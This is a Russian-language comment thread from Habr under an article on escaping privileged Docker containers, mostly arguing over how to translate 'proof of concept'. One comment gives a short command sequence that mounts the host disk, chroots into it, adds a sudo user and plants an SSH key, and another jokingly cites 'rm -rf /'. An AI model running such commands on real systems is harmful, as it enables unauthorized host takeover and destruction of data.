Побег из привилегированных Docker-контейнеров / Comments / Habr

mickvav Jul 30 2020 at 12:53

А можно все-таки найти какой-то более русский перевод для «proof of concept»?

-7

AlexGluck Jul 30 2020 at 15:54

Да чё там делать

mkdir /test
mount /dev/sda1 /test
chroot /test
useradd -G sudo ihackedyou
mkdir -p /home/ihackedyou/.ssh
echo 'ssh key' >  /home/ihackedyou/.ssh/authorized_keys

mickvav Jul 31 2020 at 02:52

Я не об этом. rm -rf / в духе свежих котиков будет достаточно ;)

Я вот о чем — автор не стесняясь пишет:

Эта проверка концепции использует функцию release_agent из cgroup.

Либо я отстал от жизни, либо «проверка концепции» в данном контексте — бездумная калька с английского «proof of concept» (в оригинале — PoC). Я проверил — оно конечно есть как термин, но какой-то уж очень редкий. Скрипт был бы более уместным тут.